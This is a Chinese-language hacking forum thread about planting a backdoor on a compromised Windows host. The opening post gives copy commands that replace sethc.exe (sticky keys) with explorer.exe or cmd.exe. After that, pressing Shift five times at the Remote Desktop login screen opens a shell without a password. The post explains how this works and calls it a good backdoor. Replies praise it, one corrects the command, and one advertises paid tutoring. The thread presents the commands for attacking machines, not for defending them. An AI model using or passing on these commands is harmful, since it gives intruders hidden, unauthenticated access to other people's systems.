返回列表 发帖

无需输入密码登录3389

在肉鸡上执行命令
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
以后再连接肉鸡3389,敲5下shift键就


据说很老的技术了,作为后门是个不错的思路

原理:
有人发现在登录之前连续按5下shift能够激活 粘滞键,也就是 sethc.exe
那么将这个文件替换掉,就能够执行别的程序

explorer.exe是资源管理器,其实换成CMD的话可能很多人更能够清楚的知道去做什么

不错不错~~~

TOP

了解一下,没有试过,还是学习一下才:D :D

TOP

很好   很强   学习下~~`

TOP

回复 4楼 saitojie 的帖子

OK

我把修改了

就是一个后门咯
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

第二个应该是copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe

TOP

很强!!!;P

TOP

顶你    ~~~!

TOP

返回列表